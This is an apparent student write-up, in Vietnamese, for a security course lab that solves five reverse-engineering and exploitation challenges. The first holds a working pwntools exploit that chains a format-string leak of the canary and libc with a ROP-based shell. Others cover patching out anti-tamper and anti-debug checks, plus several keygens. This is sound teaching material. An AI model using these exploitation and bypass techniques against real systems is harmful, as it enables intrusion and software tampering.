# NT209 Lab 5-6
## Bài 1:
Recon
```linux
/mnt/d/sup3rshy/nodox/nodox/nodox
❯ file ch1
ch1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f3c8205e42fba83a9cea0af79f2da1e7fe1632a5, for GNU/Linux 3.2.0, not stripped
/mnt/d/sup3rshy/nodox/nodox/nodox
❯ pwn checksec ch1
[*] '/mnt/d/sup3rshy/nodox/nodox/nodox/ch1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
```
Nhìn sơ thì có **format string** + **buffer overflow**:


Có 2 chỗ **bof** lun.
Bài này là full giáp -> nhưng có loop **format string** thì mọi thứ gần như vô nghĩa + có **bof** nữa thì còn dễ hơn -> có bao nhiêu leak bấy nhiêu, leak tanh bành cái binary (canary + libc). (Òm thì **Partial RELRO** nên có thể **GOT overwrite** nữa).

Thế làm sao để leak, tận dụng đc bug **format string**?

Ví dụ như bth là nó `printf("%s", some_string)` như này, thì nó sẽ in ra cái string ở `rsi`.
Nhưng khi có bug `format string` thì mình có thể control được nó sẽ in ra cái gì (tức là control cái `"%s"` ở trên), lúc này nó sẽ leak theo calling convention `rsi -> rdx -> rcx -> r8 -> r9 -> rsp -> rsp + 8 -> rsp + 0x10 -> ...`. Lí do leak như vậy đơn giản là vì calling convention nó như thế, tưởng tượng nó như kiểu `printf("%s", rsi)` hay `printf("%s%s", rsi, rdx)`. Kể cả `rsi` và `rdx` nó không gán cái gì trước đó nhưng vì chương trình hiểu nó là tham số của `printf` nên leak được.

output:
```
5555555596b1.0.7ffff7e038e0.5555555596fb.0.37f.203e7e5d785bd005.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c.6c252e786c6c252e.2e786c6c252e786c.6c6c252e786c6c25.252e786c6c252e78.786c6c252e786c6c
```

`rbp - 0x110 = 0x7fffffffd4d0` và `rbp - 0x8` chứa canary (as always).

output:
```
0x5555555596b1.(nil).0x7ffff7e038e0.0x55555555971c.(nil).0x37f.0x203e7e5d785bd005.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x70252e.0x800.0x300000.0x8000.0x400000.0x400000.0x80000.0x8000.0x7fffffffd5a8.0x6000000017.(nil).(nil).(nil).(nil).(nil).(nil)
```
Nãy giờ mình spam ảnh như thế để hiểu rõ quy luật thui :))
Và cta để ý có thể leak đc libc từ `rcx = _IO_2_1_stdin_`. Và để ý stack được leak ra từ cái `%p` thứ 6. Để leak thì dùng `%{index}$p` là được.
Vd như muốn leak ở `rsp -> %6$p`:

output lúc này sẽ ra `0x37f`.
canary ở `[rbp - 0x8]`, rsp lúc này là `rbp - 0x120` (để ý sub rsp, 0x120 ở ban đầu setup stack frame).
Làm toán nào `6 + (0x120 - 8) / 8 = 41`
Vậy payload leak canary là `%41$p` còn leak libc là `%3$p` (leak rc).
Ở đây thấy 2 cái gets nên có 2 cách trigger **bof**:

:::info
1 - ngắt gets ở main (hmm mình test thì hình như là p.shutdown("send"), nó sẽ gửi EOF)
2 - cho nó trigger **gets** ở hàm **send**
:::
Ở đây bài không cho **libc** nên xài **libc** mặc định chứ sao giờ :))
Viết nãy giờ cũng khá chi tiết ròi, viết exploit thôi:
Ở đây mình lười nên dùng `onegadget`.


À mà hnhu cách 1 nó close stdin mất nên sẽ ko được :))) Dung cach 2 nhe
Script (mình làm 2 cách luôn, onegadget thì phải payload khéo hơn xíu để cho nó đủ điều kiện):
```python
#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
script = '''
start
breakrva 0x1361
'''
# context.log_level = 'debug'
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = context.binary = ELF('./ch1')
context.arch = "amd64"
p = process('./ch1')
# p = gdb.debug("./ch1", gdbscript = script)
one_gadget = 0xef52b
p.recvuntil(b'C interactive firewall\n\n')
p.sendline(b'%3$p')
p.recvuntil(b'[x]~> ')
leak = int(p.recvline(), 16)
log.info(f'leak: {hex(leak)}')
base = leak - lib.symbols["_IO_2_1_stdin_"]
log.info(f'base: {hex(base)}')
p.sendline(b'%41$p')
p.recvuntil(b'[x]~> ')
canary = int(p.recvline(), 16)
log.info(f'canary: {hex(canary)}')
one_gadget += base
bin_sh = base + 0x00000000001cb42f
pop_rdi = base + 0x000000000010f78b
pop_rsi = base + 0x1261b1
pop_rdx_pop_pop_pop_pop = base + 0x00000000000b503c
pop_rax = base + 0xdd237
syscall = base + 0x18e2b2
payload = flat(b'\x00' * 0x108, p64(canary), b'\x00' * 8,
p64(pop_rdi), p64(bin_sh),
p64(pop_rsi), p64(0),
p64(pop_rdx_pop_pop_pop_pop), p64(0) * 5,
p64(pop_rax), p64(0x3b),
p64(syscall))
# p.sendline(b'%p')
# p.recvuntil(b'[x]~> ')
# writable_section = int(p.recvline(), 16)
# log.info(f'writable_section: {hex(writable_section)}')
# payload = flat(b'\x00' * 0x108, p64(canary), p64(writable_section),
# p64(one_gadget))
p.sendline(b'connect')
p.sendline(b'send')
p.sendline(payload)
p.interactive()
```
```linux
~/NT209 12s
[+] Starting local process './ch1': pid 18766
[*] leak: 0x7325172038e0
[*] base: 0x732517000000
[*] canary: 0xa10031d311085300
[*] Switching to interactive mode
[x]~> connect
Opening a connetion to the firewall...
Done.
[*]~> send
Enter something that should be sent to the network to test the firewall
$ whoami
m1zuguchi
```
## Bài 2:
Có `anti tampering` + `anti debug (time check)` + có `IsDebuggerPresent` nữa (nma cái này thì đặt bp bypass là đc).
**Anti tampering** ở đoạn này:

Nchung là nếu có patch binary hoặc đặt breakpoint gì đó thì checksum nó sẽ bị sai -> dẫn đến đoạn này bị sai.
Check thấy điều kiện thỏa là cái mảng đó bằng 0 hết nên patch là đc:

Chỗ `StartAddress` này là hàm check time, nếu time chênh lệch quá lớn thì exit:


Nó sẽ gọi thread này rất nhiều lần. Mà khi thread gọi hàm `exit` của C thì hình như thằng **process** ngỏm luôn thì phải? (Debug đủ là biết). Patch cái exit thành nop là xong (điều kiện tiên quyết là đã bypass được cái checksum, không thì sẽ sai tùm lum khúc này).
Sau khi patch:

Patch xong hết rồi giờ thì ko còn gì cản ta debug nữa ?
Bài này hoàn toàn có thể giải bằng 100% debug 0% LLM.
Nchung chỉ cần quan tâm hàm này:
```c
int __cdecl main_check_logic(char *Buffer)
{
int n2; // eax
_BOOL2 n2_1; // ax
int v3; // [esp+10h] [ebp-28h]
signed int k_1; // [esp+14h] [ebp-24h]
char *String; // [esp+18h] [ebp-20h]
signed int j_1; // [esp+1Ch] [ebp-1Ch]
signed int i_1; // [esp+20h] [ebp-18h]
signed int k; // [esp+24h] [ebp-14h]
signed int j; // [esp+28h] [ebp-10h]
signed int i; // [esp+2Ch] [ebp-Ch]
n2 = (unsigned __int16)check_val_3;
if ( check_val_3 )
{
n2_1 = !strcmp(Buffer + 12, ::Buffer) && !strcmp(Buffer + 62, Source);
check_val_3 = n2_1;
i_1 = strlen(::Buffer);
j_1 = strlen(Source);
String = Buffer + 112;
n2 = (unsigned __int16)check_val_3;
if ( check_val_3 == 1 )
{
n2 = n2_2;
if ( !n2_2 )
{
if ( n5 == 5 )
strrev(String);
k_1 = strlen(String);
for ( i = 0; i < i_1; ++i )
::Buffer[i] %= 16;
for ( j = 0; j < j_1; ++j )
Source[j] %= 16;
for ( k = 0; ; ++k )
{
n2 = k;
if ( k >= k_1 )
break;
v3 = sub_402190((unsigned __int8)String[k]);
if ( k >= j_1 )
{
if ( k >= i_1 + j_1 )
{
String[k] = 0;
}
else if ( v3 == ::Buffer[i_1 - (k - j_1) - 1] )
{
String[k] = -1;
}
else
{
String[k] = 0;
}
}
else if ( v3 == Source[j_1 - k - 1] )
{
String[k] = -1;
}
else
{
String[k] = 0;
}
}
}
}
}
return n2;
}
```
:::info
- Ở đây **Buffer = UserName**, **Source = ComputerName**
```c
pcbBuffer = 100;
GetUserNameA(::Buffer, &pcbBuffer);
pcbBuffer = 100;
GetComputerNameA(Source, &pcbBuffer);
```
:::
Final script:
```python
#!/usr/bin/python3
user_name = b'Nhan'
user_name = [x % 16 for x in user_name]
computer_name = b'LAPTOP-224O4NK2'
computer_name = [x % 16 for x in computer_name]
ans = ''
for x in computer_name[::-1]:
ans += hex(x)[2:]
for x in user_name[::-1]:
ans += hex(x)[2:]
print(ans.upper()[::-1])
```

## Bài 3:
Recon
```linux
~/NT209
❯ file ch3
ch3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3e0bc53b0b5739a9f0c588fafc92ec6cfdde1b42, not stripped
~/NT209
❯ ltrace ./ch3 flag.txt
fopen("flag.txt", "rt") = 0x589d87c1f2a0
fgetc(0x589d87c1f2a0) = 'W'
fgetc(0x589d87c1f2a0) = '1'
fgetc(0x589d87c1f2a0) = '{'
fgetc(0x589d87c1f2a0) = 'f'
fgetc(0x589d87c1f2a0) = 'a'
fgetc(0x589d87c1f2a0) = 'k'
fgetc(0x589d87c1f2a0) = 'e'
fgetc(0x589d87c1f2a0) = '_'
fgetc(0x589d87c1f2a0) = 'f'
fgetc(0x589d87c1f2a0) = 'l'
fgetc(0x589d87c1f2a0) = 'a'
fgetc(0x589d87c1f2a0) = 'g'
fgetc(0x589d87c1f2a0) = '_'
fgetc(0x589d87c1f2a0) = 'f'
fgetc(0x589d87c1f2a0) = 'o'
fgetc(0x589d87c1f2a0) = 'r'
fgetc(0x589d87c1f2a0) = '_'
fgetc(0x589d87c1f2a0) = 't'
fgetc(0x589d87c1f2a0) = 'e'
fgetc(0x589d87c1f2a0) = 's'
fgetc(0x589d87c1f2a0) = 't'
fgetc(0x589d87c1f2a0) = 'i'
fgetc(0x589d87c1f2a0) = 'n'
fgetc(0x589d87c1f2a0) = 'g'
fgetc(0x589d87c1f2a0) = '}'
fgetc(0x589d87c1f2a0) = '\377'
printf("the generated key is: ") = 22
printf("%d", 2) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
printf("%d", 2) = 1
printf("%d", 3) = 1
printf("%d", 2) = 1
printf("%d", 0) = 1
printf("%d", 1) = 1
printf("%d", 0) = 1
printf("%d", 1) = 1
printf("%d", 1) = 1
printf("%d", 0) = 1
printf("%d", 1) = 1
printf("%d", 1) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
printf("%d", 1) = 1
printf("%d", 1) = 1
printf("%d", 2) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
printf("%d", 1) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
printf("%d", 0) = 1
putchar(10, 0x7ffcc374f3c0, 48, 0the generated key is: 20002320101101100112001000
) = 10
strcmp("20002320101101100112001000", "01234567890123456789012345") = 2
puts("you failed!!"you failed!!
) = 13
+++ exited (status 0) +++
```
Thông tin khá hữu ích
Mở ra thì thấy bài này khá straight forward

Script solve:
```python
#!/usr/bin/python3
mp = '01234567890123456789012345'
mp = [ord(x) - ord('0') for x in mp]
for i in range(len(mp)):
print(chr(ord('a') + i) * mp[i], end = '')
```
```linux
~/NT209
❯ ./ch3 key
the generated key is: 01234567890123456789012345
you succeed!!
```
## Bài 4:
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n5; // ebx
int value; // eax
__int64 n30; // rcx
char v6; // si
int v7; // edx
int xor_value; // r9d
bool v10; // cc
_DWORD *a; // rax
int n1073840184; // edx
const char *Try_again_; // rdi
int value_1; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v16; // [rsp+8h] [rbp-10h]
n5 = 0;
v16 = __readfsqword(0x28u);
do
{
__isoc99_scanf(&unk_555555556004, &value_1, envp);
value = value_1;
n30 = 30LL;
v6 = 0;
v7 = 0;
while ( ((value >> n30) & 1) == 0 )
{
LABEL_9:
if ( n30-- == 0 )
{
if ( v6 )
value_1 = value;
goto LABEL_12;
}
}
xor_value = ::a[n30];
if ( xor_value )
{
++v7;
value ^= xor_value;
v6 = 1;
goto LABEL_9;
}
if ( v6 )
value_1 = value;
::a[(int)n30] = value;
LABEL_12:
v10 = v7 <= 1;
envp = (const char **)(unsigned int)(v7 - 1);
if ( v10 && n5 > 1 )
{
LABEL_18:
Try_again_ = "Try again!";
goto LABEL_19;
}
++n5;
}
while ( n5 != 5 );
a = ::a;
n1073840184 = 0;
do
n1073840184 += *a++;
while ( a != &::a[31] );
Try_again_ = "Congrats!";
if ( n1073840184 != 0x40018038 )
goto LABEL_18;
LABEL_19:
puts(Try_again_);
return 0;
}
```
Tóm lại là nhập 5 số, duyệt bit đầu tiên tính từ trái sang phải 30->0, tìm bit bật đầu tiên hoặc tiếp theo, nếu ở đó chưa có giá trị nào đc gán thì gán. Ngược lại thì xor giá trị đó rồi đi duyệt tìm bit tiếp theo bật. Nếu index ở bit đó được gán giá trị rồi thì duyệt tiếp -> cứ tiếp tục như vậy. Ta để ý từ lần lặp thứ `3, 4, 5` thì cần `v7 >= 2`.
Vậy ta thấy chỉ cần setup `x1 | x2 = x3 = x4 = x5` là đc.
Mà còn thêm 1 đk nữa là `a[0] + a[1] + ... a[31] = 0x40018038`
Nên ở đây chọn đc nhiều gtri
```linux
~/NT209
❯ ./ch4
1073741824
98360
1073840184
1073840184
1073840184
Congrats!
~/NT209 50s
❯ ./ch4
1073840176
8
1073840184
1073840184
1073840184
Congrats!
```
Chọn sao cho nó thỏa đk là đc
## Bài 5:
Mở IDA ra luôn

Nhìn ngay đoạn này mình nghĩ ko phải dump ra mấy giá trị đó là xong rồi à:)))
```
>>> s = bytes.fromhex('27 2D 20 26 3A 73 71 73 71 1E 32 20 2F 20 1E 32 20 72 28 25 20 7B 68 3C')
>>> from pwn import xor
>>> xor(s, 0x41)
b'flag{2020_sana_sa3ida:)}'
```
```linux
~/NT209
❯ ./ch5 'flag{2020_sana_sa3ida:)}'
Congratulations !! you solved the first challenge.
```
Bruh